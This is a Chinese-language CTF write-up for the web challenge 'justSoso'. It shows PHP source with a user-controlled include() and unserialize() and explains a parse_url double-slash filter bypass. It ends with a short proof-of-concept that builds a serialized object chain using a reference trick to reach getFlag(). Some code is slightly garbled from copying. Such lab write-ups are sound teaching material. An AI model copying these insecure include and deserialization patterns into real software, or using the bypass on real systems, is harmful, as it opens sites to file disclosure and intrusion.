WEB-1 justSoso

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
  
if (!isset($file)) {
    echo 'Missing parameter' . '<br>';
}
  
if (preg_match("/flag/", $file)) {
    die('hack attacked!!!');
}
  
@include ($file);
if (isset($payload)) {
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'], $query);
    foreach ($query as $value) {
        if (preg_match("/flag/", $value)) {
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
else {
    echo "Missing parameters";
}
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Handle {
    private $handle;
    public function __wakeup() {
        foreach (get_object_vars($thisas $k => $v) {
            $this->$k = null;
        }
        echo "Waking upn";
    }
    public function __construct($handle) {
        $this->handle = $handle;
    }
    public function __destruct() {
        $this->handle->getFlag();
    }
}
  
class Flag {
    public $file;
    public $token;
    public $token_flag;
    function __construct($file) {
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(110000));
    }
    public function getFlag() {
        $this->token_flag = md5(rand(110000));
        if ($this->token === $this->token_flag) {
            if (isset($this->file)) {
                echo @highlight_file($this->file, true);
            }
        }
    }
a
?>

hint.php


这道题的重点不是其中的反序列化,而是其中parse_urlmd5的绕过方法


分析hint源码发现,我们需要将Handle类中的handle属性赋值为Flag类以调用getFlag()函数,
但单单这样构造序列化之后,传入的payload中肯定含有“flag”这一字符串,会因index.php源码中的遍历url而被匹配到,经过搜索发现,可以通过加两个双斜杠的方式绕过parse_url进而绕过正则匹配。

parse_url绕过
parse_url绕过

getFlag()函数中还存在一个问题,虽然Flag类中前几条语句将token属性token_flag属性相等,getFlag函数中,又将token_flag赋为了一个新的md5加密后的随机值,所以此处又需要绕过,爆破似乎可行,但经过搜索发现存在另一种较为简单的方法:
利用取地址符号“&”,来使token与token_flag的关系始终相等,这样在给token_flag赋新值时,token也会跟着变化。

POC:

1
2
3
4
$b = new Flag("flag.php");
$b->token = &$b->token_flag;
$a = new Handle($b);
echo serialize($a);